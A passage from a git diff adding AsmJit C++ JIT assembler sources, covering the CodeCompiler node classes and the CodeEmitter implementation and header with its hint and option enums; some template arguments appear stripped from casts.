// -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CCHint` instance. + ASMJIT_INLINE CCHint(CodeBuilder* cb, VirtReg* vreg, uint32_t hint, uint32_t value) noexcept : CBNode(cb, kNodeHint) { + orFlags(kFlagIsRemovable | kFlagIsInformative); + _vreg = vreg; + _hint = hint; + _value = value; + } + + //! Destroy the `CCHint` instance (NEVER CALLED). + ASMJIT_INLINE ~CCHint() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get variable. + ASMJIT_INLINE VirtReg* getVReg() const noexcept { return _vreg; } + + //! Get hint it, see \ref Hint. + ASMJIT_INLINE uint32_t getHint() const noexcept { return _hint; } + //! Set hint it, see \ref Hint. + ASMJIT_INLINE void setHint(uint32_t hint) noexcept { _hint = hint; } + + //! Get hint value. + ASMJIT_INLINE uint32_t getValue() const noexcept { return _value; } + //! Set hint value. + ASMJIT_INLINE void setValue(uint32_t value) noexcept { _value = value; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Variable. + VirtReg* _vreg; + //! Hint id. + uint32_t _hint; + //! Value. + uint32_t _value; +}; + +// ============================================================================ +// [asmjit::CCFunc] +// ============================================================================ + +//! Function entry (CodeCompiler). +class CCFunc : public CBLabel { +public: + ASMJIT_NONCOPYABLE(CCFunc) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CCFunc` instance. + //! + //! Always use `CodeCompiler::addFunc()` to create \ref CCFunc. + ASMJIT_INLINE CCFunc(CodeBuilder* cb) noexcept + : CBLabel(cb), + _funcDetail(), + _frameInfo(), + _exitNode(nullptr), + _end(nullptr), + _args(nullptr), + _isFinished(false) { + + _type = kNodeFunc; + } + + //! Destroy the `CCFunc` instance (NEVER CALLED). + ASMJIT_INLINE ~CCFunc() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get function exit `CBLabel`. + ASMJIT_INLINE CBLabel* getExitNode() const noexcept { return _exitNode; } + //! Get function exit label. + ASMJIT_INLINE Label getExitLabel() const noexcept { return _exitNode->getLabel(); } + + //! Get "End of Func" sentinel. + ASMJIT_INLINE CBSentinel* getEnd() const noexcept { return _end; } + + //! Get function declaration. + ASMJIT_INLINE FuncDetail& getDetail() noexcept { return _funcDetail; } + //! Get function declaration. + ASMJIT_INLINE const FuncDetail& getDetail() const noexcept { return _funcDetail; } + + //! Get function declaration. + ASMJIT_INLINE FuncFrameInfo& getFrameInfo() noexcept { return _frameInfo; } + //! Get function declaration. + ASMJIT_INLINE const FuncFrameInfo& getFrameInfo() const noexcept { return _frameInfo; } + + //! Get arguments count. + ASMJIT_INLINE uint32_t getArgCount() const noexcept { return _funcDetail.getArgCount(); } + //! Get returns count. + ASMJIT_INLINE uint32_t getRetCount() const noexcept { return _funcDetail.getRetCount(); } + + //! Get arguments list. + ASMJIT_INLINE VirtReg** getArgs() const noexcept { return _args; } + + //! Get argument at `i`. + ASMJIT_INLINE VirtReg* getArg(uint32_t i) const noexcept { + ASMJIT_ASSERT(i < getArgCount()); + return _args[i]; + } + + //! Set argument at `i`. + ASMJIT_INLINE void setArg(uint32_t i, VirtReg* vreg) noexcept { + ASMJIT_ASSERT(i < getArgCount()); + _args[i] = vreg; + } + + //! Reset argument at `i`. + ASMJIT_INLINE void resetArg(uint32_t i) noexcept { + ASMJIT_ASSERT(i < getArgCount()); + _args[i] = nullptr; + } + + ASMJIT_INLINE uint32_t getAttributes() const noexcept { return _frameInfo.getAttributes(); } + ASMJIT_INLINE void addAttributes(uint32_t attrs) noexcept { _frameInfo.addAttributes(attrs); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + FuncDetail _funcDetail; //!< Function detail. + FuncFrameInfo _frameInfo; //!< Function frame information. + + CBLabel* _exitNode; //!< Function exit. + CBSentinel* _end; //!< Function end. + + VirtReg** _args; //!< Arguments array as `VirtReg`. + + //! Function was finished by `Compiler::endFunc()`. + uint8_t _isFinished; +}; + +// ============================================================================ +// [asmjit::CCFuncRet] +// ============================================================================ + +//! Function return (CodeCompiler). +class CCFuncRet : public CBNode { +public: + ASMJIT_NONCOPYABLE(CCFuncRet) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CCFuncRet` instance. + ASMJIT_INLINE CCFuncRet(CodeBuilder* cb, const Operand_& o0, const Operand_& o1) noexcept : CBNode(cb, kNodeFuncExit) { + orFlags(kFlagIsRet); + _ret[0].copyFrom(o0); + _ret[1].copyFrom(o1); + } + + //! Destroy the `CCFuncRet` instance (NEVER CALLED). + ASMJIT_INLINE ~CCFuncRet() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the first return operand. + ASMJIT_INLINE Operand& getFirst() noexcept { return static_cast(_ret[0]); } + //! \overload + ASMJIT_INLINE const Operand& getFirst() const noexcept { return static_cast(_ret[0]); } + + //! Get the second return operand. + ASMJIT_INLINE Operand& getSecond() noexcept { return static_cast(_ret[1]); } + //! \overload + ASMJIT_INLINE const Operand& getSecond() const noexcept { return static_cast(_ret[1]); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Return operands. + Operand_ _ret[2]; +}; + +// ============================================================================ +// [asmjit::CCFuncCall] +// ============================================================================ + +//! Function call (CodeCompiler). +class CCFuncCall : public CBInst { +public: + ASMJIT_NONCOPYABLE(CCFuncCall) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CCFuncCall` instance. + ASMJIT_INLINE CCFuncCall(CodeBuilder* cb, uint32_t instId, uint32_t options, Operand* opArray, uint32_t opCount) noexcept + : CBInst(cb, instId, options, opArray, opCount), + _funcDetail(), + _args(nullptr) { + + _type = kNodeFuncCall; + _ret[0].reset(); + _ret[1].reset(); + orFlags(kFlagIsRemovable); + } + + //! Destroy the `CCFuncCall` instance (NEVER CALLED). + ASMJIT_INLINE ~CCFuncCall() noexcept {} + + // -------------------------------------------------------------------------- + // [Signature] + // -------------------------------------------------------------------------- + + //! Set function signature. + ASMJIT_INLINE Error setSignature(const FuncSignature& sign) noexcept { + return _funcDetail.init(sign); + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get function declaration. + ASMJIT_INLINE FuncDetail& getDetail() noexcept { return _funcDetail; } + //! Get function declaration. + ASMJIT_INLINE const FuncDetail& getDetail() const noexcept { return _funcDetail; } + + //! Get target operand. + ASMJIT_INLINE Operand& getTarget() noexcept { return static_cast(_opArray[0]); } + //! \overload + ASMJIT_INLINE const Operand& getTarget() const noexcept { return static_cast(_opArray[0]); } + + //! Get return at `i`. + ASMJIT_INLINE Operand& getRet(uint32_t i = 0) noexcept { + ASMJIT_ASSERT(i < 2); + return static_cast(_ret[i]); + } + //! \overload + ASMJIT_INLINE const Operand& getRet(uint32_t i = 0) const noexcept { + ASMJIT_ASSERT(i < 2); + return static_cast(_ret[i]); + } + + //! Get argument at `i`. + ASMJIT_INLINE Operand& getArg(uint32_t i) noexcept { + ASMJIT_ASSERT(i < kFuncArgCountLoHi); + return static_cast(_args[i]); + } + //! \overload + ASMJIT_INLINE const Operand& getArg(uint32_t i) const noexcept { + ASMJIT_ASSERT(i < kFuncArgCountLoHi); + return static_cast(_args[i]); + } + + //! Set argument at `i` to `op`. + ASMJIT_API bool _setArg(uint32_t i, const Operand_& op) noexcept; + //! Set return at `i` to `op`. + ASMJIT_API bool _setRet(uint32_t i, const Operand_& op) noexcept; + + //! Set argument at `i` to `reg`. + ASMJIT_INLINE bool setArg(uint32_t i, const Reg& reg) noexcept { return _setArg(i, reg); } + //! Set argument at `i` to `imm`. + ASMJIT_INLINE bool setArg(uint32_t i, const Imm& imm) noexcept { return _setArg(i, imm); } + + //! Set return at `i` to `var`. + ASMJIT_INLINE bool setRet(uint32_t i, const Reg& reg) noexcept { return _setRet(i, reg); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + FuncDetail _funcDetail; //!< Function detail. + Operand_ _ret[2]; //!< Return. + Operand_* _args; //!< Arguments. +}; + +// ============================================================================ +// [asmjit::CCPushArg] +// ============================================================================ + +//! Push argument before a function call (CodeCompiler). +class CCPushArg : public CBNode { +public: + ASMJIT_NONCOPYABLE(CCPushArg) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CCPushArg` instance. + ASMJIT_INLINE CCPushArg(CodeBuilder* cb, CCFuncCall* call, VirtReg* src, VirtReg* cvt) noexcept + : CBNode(cb, kNodePushArg), + _call(call), + _src(src), + _cvt(cvt), + _args(0) { + orFlags(kFlagIsRemovable); + } + + //! Destroy the `CCPushArg` instance. + ASMJIT_INLINE ~CCPushArg() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the associated function-call. + ASMJIT_INLINE CCFuncCall* getCall() const noexcept { return _call; } + //! Get source variable. + ASMJIT_INLINE VirtReg* getSrcReg() const noexcept { return _src; } + //! Get conversion variable. + ASMJIT_INLINE VirtReg* getCvtReg() const noexcept { return _cvt; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CCFuncCall* _call; //!< Associated `CCFuncCall`. + VirtReg* _src; //!< Source variable. + VirtReg* _cvt; //!< Temporary variable used for conversion (or null). + uint32_t _args; //!< Affected arguments bit-array. +}; + +// ============================================================================ +// [asmjit::CodeCompiler] +// ============================================================================ + +//! Code emitter that uses virtual registers and performs register allocation. +//! +//! Compiler is a high-level code-generation tool that provides register +//! allocation and automatic handling of function calling conventions. It was +//! primarily designed for merging multiple parts of code into a function +//! without worrying about registers and function calling conventions. +//! +//! CodeCompiler can be used, with a minimum effort, to handle 32-bit and 64-bit +//! code at the same time. +//! +//! CodeCompiler is based on CodeBuilder and contains all the features it +//! provides. It means that the code it stores can be modified (removed, added, +//! injected) and analyzed. When the code is finalized the compiler can emit +//! the code into an Assembler to translate the abstract representation into a +//! machine code. +class ASMJIT_VIRTAPI CodeCompiler : public CodeBuilder { +public: + ASMJIT_NONCOPYABLE(CodeCompiler) + typedef CodeBuilder Base; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CodeCompiler` instance. + ASMJIT_API CodeCompiler() noexcept; + //! Destroy the `CodeCompiler` instance. + ASMJIT_API virtual ~CodeCompiler() noexcept; + + // -------------------------------------------------------------------------- + // [Events] + // -------------------------------------------------------------------------- + + ASMJIT_API virtual Error onAttach(CodeHolder* code) noexcept override; + ASMJIT_API virtual Error onDetach(CodeHolder* code) noexcept override; + + // -------------------------------------------------------------------------- + // [Node-Factory] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Create a new `CCHint`. + ASMJIT_API CCHint* newHintNode(Reg& reg, uint32_t hint, uint32_t value) noexcept; + + // -------------------------------------------------------------------------- + // [Func] + // -------------------------------------------------------------------------- + + //! Get the current function. + ASMJIT_INLINE CCFunc* getFunc() const noexcept { return _func; } + + //! Create a new `CCFunc`. + ASMJIT_API CCFunc* newFunc(const FuncSignature& sign) noexcept; + //! Add a function `node` to the stream. + ASMJIT_API CCFunc* addFunc(CCFunc* func); + //! Add a new function. + ASMJIT_API CCFunc* addFunc(const FuncSignature& sign); + //! Emit a sentinel that marks the end of the current function. + ASMJIT_API CBSentinel* endFunc(); + + // -------------------------------------------------------------------------- + // [Ret] + // -------------------------------------------------------------------------- + + //! Create a new `CCFuncRet`. + ASMJIT_API CCFuncRet* newRet(const Operand_& o0, const Operand_& o1) noexcept; + //! Add a new `CCFuncRet`. + ASMJIT_API CCFuncRet* addRet(const Operand_& o0, const Operand_& o1) noexcept; + + // -------------------------------------------------------------------------- + // [Call] + // -------------------------------------------------------------------------- + + //! Create a new `CCFuncCall`. + ASMJIT_API CCFuncCall* newCall(uint32_t instId, const Operand_& o0, const FuncSignature& sign) noexcept; + //! Add a new `CCFuncCall`. + ASMJIT_API CCFuncCall* addCall(uint32_t instId, const Operand_& o0, const FuncSignature& sign) noexcept; + + // -------------------------------------------------------------------------- + // [Args] + // -------------------------------------------------------------------------- + + //! Set a function argument at `argIndex` to `reg`. + ASMJIT_API Error setArg(uint32_t argIndex, const Reg& reg); + + // -------------------------------------------------------------------------- + // [Hint] + // -------------------------------------------------------------------------- + + //! Emit a new hint (purely informational node). + ASMJIT_API Error _hint(Reg& reg, uint32_t hint, uint32_t value); + + // -------------------------------------------------------------------------- + // [VirtReg / Stack] + // -------------------------------------------------------------------------- + + //! Create a new virtual register representing the given `vti` and `signature`. + //! + //! This function accepts either register type representing a machine-specific + //! register, like `X86Reg`, or RegTag representation, which represents + //! machine independent register, and from the machine-specific register + //! is deduced. + ASMJIT_API VirtReg* newVirtReg(uint32_t typeId, uint32_t signature, const char* name) noexcept; + + ASMJIT_API Error _newReg(Reg& out, uint32_t typeId, const char* name); + ASMJIT_API Error _newReg(Reg& out, uint32_t typeId, const char* nameFmt, va_list ap); + + ASMJIT_API Error _newReg(Reg& out, const Reg& ref, const char* name); + ASMJIT_API Error _newReg(Reg& out, const Reg& ref, const char* nameFmt, va_list ap); + + ASMJIT_API Error _newStack(Mem& out, uint32_t size, uint32_t alignment, const char* name); + ASMJIT_API Error _newConst(Mem& out, uint32_t scope, const void* data, size_t size); + + // -------------------------------------------------------------------------- + // [VirtReg] + // -------------------------------------------------------------------------- + + //! Get whether the virtual register `r` is valid. + ASMJIT_INLINE bool isVirtRegValid(const Reg& reg) const noexcept { + return isVirtRegValid(reg.getId()); + } + //! \overload + ASMJIT_INLINE bool isVirtRegValid(uint32_t id) const noexcept { + size_t index = Operand::unpackId(id); + return index < _vRegArray.getLength(); + } + + //! Get \ref VirtReg associated with the given `r`. + ASMJIT_INLINE VirtReg* getVirtReg(const Reg& reg) const noexcept { + return getVirtRegById(reg.getId()); + } + //! Get \ref VirtReg associated with the given `id`. + ASMJIT_INLINE VirtReg* getVirtRegById(uint32_t id) const noexcept { + ASMJIT_ASSERT(id != kInvalidValue); + size_t index = Operand::unpackId(id); + + ASMJIT_ASSERT(index < _vRegArray.getLength()); + return _vRegArray[index]; + } + + //! Get an array of all virtual registers managed by CodeCompiler. + ASMJIT_INLINE const ZoneVector& getVirtRegArray() const noexcept { return _vRegArray; } + + //! Alloc a virtual register `reg`. + ASMJIT_API Error alloc(Reg& reg); + //! Alloc a virtual register `reg` using `physId` as a register id. + ASMJIT_API Error alloc(Reg& reg, uint32_t physId); + //! Alloc a virtual register `reg` using `ref` as a register operand. + ASMJIT_API Error alloc(Reg& reg, const Reg& ref); + //! Spill a virtual register `reg`. + ASMJIT_API Error spill(Reg& reg); + //! Save a virtual register `reg` if the status is `modified` at this point. + ASMJIT_API Error save(Reg& reg); + //! Unuse a virtual register `reg`. + ASMJIT_API Error unuse(Reg& reg); + + //! Get priority of a virtual register `reg`. + ASMJIT_API uint32_t getPriority(Reg& reg) const; + //! Set priority of variable `reg` to `priority`. + ASMJIT_API void setPriority(Reg& reg, uint32_t priority); + + //! Get save-on-unuse `reg` property. + ASMJIT_API bool getSaveOnUnuse(Reg& reg) const; + //! Set save-on-unuse `reg` property to `value`. + ASMJIT_API void setSaveOnUnuse(Reg& reg, bool value); + + //! Rename variable `reg` to `name`. + //! + //! NOTE: Only new name will appear in the logger. + ASMJIT_API void rename(Reg& reg, const char* fmt, ...); + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CCFunc* _func; //!< Current function. + + Zone _vRegZone; //!< Allocates \ref VirtReg objects. + ZoneVector _vRegArray; //!< Stores array of \ref VirtReg pointers. + + CBConstPool* _localConstPool; //!< Local constant pool, flushed at the end of each function. + CBConstPool* _globalConstPool; //!< Global constant pool, flushed at the end of the compilation. +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_COMPILER +#endif // _ASMJIT_BASE_CODECOMPILER_H diff --git a/asmjit/src/asmjit/base/codeemitter.cpp b/asmjit/src/asmjit/base/codeemitter.cpp new file mode 100644 index 0000000..48a4c9a --- /dev/null +++ b/asmjit/src/asmjit/base/codeemitter.cpp @@ -0,0 +1,236 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/utils.h" +#include "../base/vmem.h" + +#if defined(ASMJIT_BUILD_X86) +#include "../x86/x86inst.h" +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) +#include "../arm/arminst.h" +#endif // ASMJIT_BUILD_ARM + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::CodeEmitter - Construction / Destruction] +// ============================================================================ + +CodeEmitter::CodeEmitter(uint32_t type) noexcept + : _codeInfo(), + _code(nullptr), + _nextEmitter(nullptr), + _type(static_cast(type)), + _destroyed(false), + _finalized(false), + _reserved(false), + _lastError(kErrorNotInitialized), + _privateData(0), + _globalHints(0), + _globalOptions(kOptionMaybeFailureCase), + _options(0), + _extraReg(), + _inlineComment(nullptr), + _none(), + _nativeGpReg(), + _nativeGpArray(nullptr) {} + +CodeEmitter::~CodeEmitter() noexcept { + if (_code) { + _destroyed = true; + _code->detach(this); + } +} + +// ============================================================================ +// [asmjit::CodeEmitter - Events] +// ============================================================================ + +Error CodeEmitter::onAttach(CodeHolder* code) noexcept { + _codeInfo = code->getCodeInfo(); + _lastError = kErrorOk; + + _globalHints = code->getGlobalHints(); + _globalOptions = code->getGlobalOptions(); + + return kErrorOk; +} + +Error CodeEmitter::onDetach(CodeHolder* code) noexcept { + _codeInfo.reset(); + _finalized = false; + _lastError = kErrorNotInitialized; + + _privateData = 0; + _globalHints = 0; + _globalOptions = kOptionMaybeFailureCase; + + _options = 0; + _extraReg.reset(); + _inlineComment = nullptr; + + _nativeGpReg.reset(); + _nativeGpArray = nullptr; + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeEmitter - Code-Generation] +// ============================================================================ + +Error CodeEmitter::_emitOpArray(uint32_t instId, const Operand_* opArray, size_t opCount) { + const Operand_* op = opArray; + switch (opCount) { + case 0: return _emit(instId, _none, _none, _none, _none); + case 1: return _emit(instId, op[0], _none, _none, _none); + case 2: return _emit(instId, op[0], op[1], _none, _none); + case 3: return _emit(instId, op[0], op[1], op[2], _none); + case 4: return _emit(instId, op[0], op[1], op[2], op[3]); + case 5: return _emit(instId, op[0], op[1], op[2], op[3], op[4], _none); + case 6: return _emit(instId, op[0], op[1], op[2], op[3], op[4], op[5]); + + default: + return DebugUtils::errored(kErrorInvalidArgument); + } +} + +// ============================================================================ +// [asmjit::CodeEmitter - Finalize] +// ============================================================================ + +Label CodeEmitter::getLabelByName(const char* name, size_t nameLength, uint32_t parentId) noexcept { + return Label(_code ? _code->getLabelIdByName(name, nameLength, parentId) : static_cast(0)); +} + +// ============================================================================ +// [asmjit::CodeEmitter - Finalize] +// ============================================================================ + +Error CodeEmitter::finalize() { + // Finalization does nothing by default, overridden by `CodeBuilder`. + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeEmitter - Error Handling] +// ============================================================================ + +Error CodeEmitter::setLastError(Error error, const char* message) { + // This is fatal, CodeEmitter can't set error without being attached to `CodeHolder`. + ASMJIT_ASSERT(_code != nullptr); + + // Special case used to reset the last error. + if (error == kErrorOk) { + _lastError = kErrorOk; + _globalOptions &= ~kOptionMaybeFailureCase; + return kErrorOk; + } + + if (!message) + message = DebugUtils::errorAsString(error); + + // Logging is skipped if the error is handled by `ErrorHandler`. + ErrorHandler* handler = _code->_errorHandler; + if (handler && handler->handleError(error, message, this)) + return error; + + // The handler->handleError() function may throw an exception or longjmp() + // to terminate the execution of `setLastError()`. This is the reason why + // we have delayed changing the `_error` member until now. + _lastError = error; + _globalOptions |= kOptionMaybeFailureCase; + + return error; +} + +// ============================================================================ +// [asmjit::CodeEmitter - Helpers] +// ============================================================================ + +bool CodeEmitter::isLabelValid(uint32_t id) const noexcept { + size_t index = Operand::unpackId(id); + return _code && index < _code->_labels.getLength(); +} + +Error CodeEmitter::commentf(const char* fmt, ...) { + Error err = _lastError; + if (err) return err; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) { + va_list ap; + va_start(ap, fmt); + err = _code->_logger->logv(fmt, ap); + va_end(ap); + } +#else + ASMJIT_UNUSED(fmt); +#endif + + return err; +} + +Error CodeEmitter::commentv(const char* fmt, va_list ap) { + Error err = _lastError; + if (err) return err; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_globalOptions & kOptionLoggingEnabled) + err = _code->_logger->logv(fmt, ap); +#else + ASMJIT_UNUSED(fmt); + ASMJIT_UNUSED(ap); +#endif + + return err; +} + +// ============================================================================ +// [asmjit::CodeEmitter - Emit] +// ============================================================================ + +#define OP const Operand_& + +Error CodeEmitter::emit(uint32_t instId) { return _emit(instId, _none, _none, _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0) { return _emit(instId, o0, _none, _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1) { return _emit(instId, o0, o1, _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2) { return _emit(instId, o0, o1, o2, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3) { return _emit(instId, o0, o1, o2, o3); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, OP o4) { return _emit(instId, o0, o1, o2, o3, o4, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, OP o4, OP o5) { return _emit(instId, o0, o1, o2, o3, o4, o5); } + +Error CodeEmitter::emit(uint32_t instId, int o0) { return _emit(instId, Imm(o0), _none, _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, int o1) { return _emit(instId, o0, Imm(o1), _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, int o2) { return _emit(instId, o0, o1, Imm(o2), _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, int o3) { return _emit(instId, o0, o1, o2, Imm(o3)); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, int o4) { return _emit(instId, o0, o1, o2, o3, Imm(o4), _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, OP o4, int o5) { return _emit(instId, o0, o1, o2, o3, o4, Imm(o5)); } + +Error CodeEmitter::emit(uint32_t instId, int64_t o0) { return _emit(instId, Imm(o0), _none, _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, int64_t o1) { return _emit(instId, o0, Imm(o1), _none, _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, int64_t o2) { return _emit(instId, o0, o1, Imm(o2), _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, int64_t o3) { return _emit(instId, o0, o1, o2, Imm(o3)); } + +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, int64_t o4) { return _emit(instId, o0, o1, o2, o3, Imm(o4), _none); } +Error CodeEmitter::emit(uint32_t instId, OP o0, OP o1, OP o2, OP o3, OP o4, int64_t o5) { return _emit(instId, o0, o1, o2, o3, o4, Imm(o5)); } + +#undef OP + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/codeemitter.h b/asmjit/src/asmjit/base/codeemitter.h new file mode 100644 index 0000000..93a2de3 --- /dev/null +++ b/asmjit/src/asmjit/base/codeemitter.h @@ -0,0 +1,499 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CODEEMITTER_H +#define _ASMJIT_BASE_CODEEMITTER_H + +// [Dependencies] +#include "../base/arch.h" +#include "../base/codeholder.h" +#include "../base/operand.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class ConstPool; + +// ============================================================================ +// [asmjit::CodeEmitter] +// ============================================================================ + +//! Provides a base foundation to emit code - specialized by \ref Assembler and +//! \ref CodeBuilder. +class ASMJIT_VIRTAPI CodeEmitter { +public: + //! CodeEmitter type. + ASMJIT_ENUM(Type) { + kTypeNone = 0, + kTypeAssembler = 1, + kTypeBuilder = 2, + kTypeCompiler = 3, + kTypeCount = 4 + }; + + //! CodeEmitter hints - global settings that affect machine-code generation. + ASMJIT_ENUM(Hints) { + //! Emit optimized code-alignment sequences. + //! + //! Default `true`. + //! + //! X86/X64 Specific + //! ---------------- + //! + //! Default align sequence used by X86/X64 architecture is one-byte (0x90) + //! opcode that is often shown by disassemblers as nop. However there are + //! more optimized align sequences for 2-11 bytes that may execute faster. + //! If this feature is enabled AsmJit will generate specialized sequences + //! for alignment between 2 to 11 bytes. + kHintOptimizedAlign = 0x00000001U, + + //! Emit jump-prediction hints. + //! + //! Default `false`. + //! + //! X86/X64 Specific + //! ---------------- + //! + //! Jump prediction is usually based on the direction of the jump. If the + //! jump is backward it is usually predicted as taken; and if the jump is + //! forward it is usually predicted as not-taken. The reason is that loops + //! generally use backward jumps and conditions usually use forward jumps. + //! However this behavior can be overridden by using instruction prefixes. + //! If this option is enabled these hints will be emitted. + //! + //! This feature is disabled by default, because the only processor that + //! used to take into consideration prediction hints was P4. Newer processors + //! implement heuristics for branch prediction that ignores any static hints. + kHintPredictedJumps = 0x00000002U + }; + + //! CodeEmitter options that are merged with instruction options. + ASMJIT_ENUM(Options) { + //! Reserved, used to check for errors in `Assembler::_emit()`. In addition, + //! if an emitter is in error state it will have `kOptionMaybeFailureCase` + //! set + kOptionMaybeFailureCase = 0x00000001U, + + //! Perform a strict validation before the instruction is emitted. + kOptionStrictValidation = 0x00000002U, + + //! Logging is enabled and `CodeHolder::getLogger()` should return a valid + //! \ref Logger pointer. + kOptionLoggingEnabled = 0x00000004U, + + //! Mask of all internal options that are not used to represent instruction + //! options, but are used to instrument Assembler and CodeBuilder. These + //! options are internal and should not be used outside of AsmJit itself. + //! + //! NOTE: Reserved options should never appear in `CBInst` options. + kOptionReservedMask = 0x00000007U, + + //! Used only by Assembler to mark `_op4` and `_op5` are used. + kOptionOp4Op5Used = 0x00000008U, + + //! Prevents following a jump during compilation (CodeCompiler). + kOptionUnfollow = 0x00000010U, + + //! Overwrite the destination operand (CodeCompiler). + //! + //! Hint that is important for register liveness analysis. It tells the + //! compiler that the destination operand will be overwritten now or by + //! adjacent instructions. CodeCompiler knows when a register is completely + //! overwritten by a single instruction, for example you don't have to + //! mark "movaps" or "pxor x, x", however, if a pair of instructions is + //! used and the first of them doesn't completely overwrite the content + //! of the destination, CodeCompiler fails to mark that register as dead. + //! + //! X86/X64 Specific + //! ---------------- + //! + //! - All instructions that always overwrite at least the size of the + //! register the virtual-register uses , for example "mov", "movq", + //! "movaps" don't need the overwrite option to be used - conversion, + //! shuffle, and other miscellaneous instructions included. + //! + //! - All instructions that clear the destination register if all operands + //! are the same, for example "xor x, x", "pcmpeqb x x", etc... + //! + //! - Consecutive instructions that partially overwrite the variable until + //! there is no old content require the `overwrite()` to be used. Some + //! examples (not always the best use cases thought): + //! + //! - `movlps xmm0, ?` followed by `movhps xmm0, ?` and vice versa + //! - `movlpd xmm0, ?` followed by `movhpd xmm0, ?` and vice versa + //! - `mov al, ?` followed by `and ax, 0xFF` + //! - `mov al, ?` followed by `mov ah, al` + //! - `pinsrq xmm0, ?, 0` followed by `pinsrq xmm0, ?, 1` + //! + //! - If allocated variable is used temporarily for scalar operations. For + //! example if you allocate a full vector like `X86Compiler::newXmm()` + //! and then use that vector for scalar operations you should use + //! `overwrite()` directive: + //! + //! - `sqrtss x, y` - only LO element of `x` is changed, if you don't use + //! HI elements, use `X86Compiler.overwrite().sqrtss(x, y)`. + kOptionOverwrite = 0x00000020U + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_API CodeEmitter(uint32_t type) noexcept; + ASMJIT_API virtual ~CodeEmitter() noexcept; + + // -------------------------------------------------------------------------- + // [Events] + // -------------------------------------------------------------------------- + + //! Called after the \ref CodeEmitter was attached to the \ref CodeHolder. + virtual Error onAttach(CodeHolder* code) noexcept = 0; + //! Called after the \ref CodeEmitter was detached from the \ref CodeHolder. + virtual Error onDetach(CodeHolder* code) noexcept = 0; + + // -------------------------------------------------------------------------- + // [Code-Generation] + // -------------------------------------------------------------------------- + + //! Emit instruction having max 4 operands. + virtual Error _emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3) = 0; + //! Emit instruction having max 6 operands. + virtual Error _emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5) = 0; + //! Emit instruction having operands stored in array. + virtual Error _emitOpArray(uint32_t instId, const Operand_* opArray, size_t opCount); + + //! Create a new label. + virtual Label newLabel() = 0; + //! Create a new named label. + virtual Label newNamedLabel( + const char* name, + size_t nameLength = Globals::kInvalidIndex, + uint32_t type = Label::kTypeGlobal, + uint32_t parentId = 0) = 0; + + //! Get a label by name. + //! + //! Returns invalid 